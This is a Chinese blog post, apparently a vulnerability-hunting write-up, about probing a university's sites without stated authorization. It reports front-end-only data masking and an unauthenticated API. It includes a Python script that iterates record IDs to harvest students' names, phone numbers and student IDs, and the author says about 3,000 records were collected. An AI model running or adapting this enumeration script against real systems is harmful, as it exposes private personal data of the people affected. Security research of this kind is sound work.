当前位置：网站首页>原创|记一次高校漏洞挖掘

原创|记一次高校漏洞挖掘

2022-07-25 03:35:00 【ECHO::】

前言:逐渐我发觉，写博客没有意义，会的人不看，不会的人看不懂，而且这东西不给钱，既然这样质量很重要吗？

最近几天，单纯想挖挖某个学校，原因很简单，单纯看不惯管理，，，，打了两天点，shell没拿到，挖到一堆接口和

敏感信息泄露。想谈一下挖掘站点的时候弱口令和接口的重要性。

成果:

1.某备案站点接口未授权全校师生信息泄露

2.某站TP框架全站日志泄露

一些能打组合拳的地方:

1.某站403站点下的二级目录phpmyadmin 版本4.8.1

2.tp框架有后台登录

3.403站点下的fck编辑器

========================================

0x01. 备案站点未授权接口

资产发现：浏览网站发现有个点击报修，然后就跳到站点，拿去whios识别了，确定是信息收集漏掉的资产，

然后业务就只有一处报修信息，而且很奇怪的有***，如图

我的第一想法是fuzz这个电话号码，直接f12，看到点击查看订单弹窗后方法栈请求了home/repair这个地方

跟进这个524行，是一个ajax的请求接口，看到数据的带*是js处理，也就是前段验证，这里直接访问接口

遍历repId的值得到完整数据，

然后，觉得直接交的话，给不了多少分，，，花一下午写了个脚本，没错，这25行代码，写了一下午，菜的找个班上算了

import requests,json
from lxml import etree
for i in range(8104,9907):	
	url="http://www.xxxx.com/xxx/xxxx=31{}".format(i)
	response=requests.get(url).content.decode('utf-8')
	data=etree.HTML(response)
	print(etree.tostring(data,encoding='utf-8').decode('utf-8'))
	name=data.xpath('/html/body/p/text()')
	b=str(name)
	print(b)
	if len(b)<30:
    	pass
	else:
   		 number=b.split('"RepTel":')[1].split(',"RepTelOther"')[0]
   		 name=b.split('"Rep_UserRealName":')[1].split(',"Rep_OrderNo"')[0]
    	 xuehao=b.split('"Rep_UserName":')[1].split(',"Rep_UserRealName"')[0]
   		 print(name,number,xuehao)

   		 dists={}
   		 dists['number']=number
   		 dists['name']=name
   		 dists['xuehao']=xuehao

   		 with open('a.json','a',encoding="utf-8") as f:
       		 f.write(json.dumps(dists, ensure_ascii=False))

因为数据有3w多条，只遍历3k证明危害足够了，json看上去效果还是不错的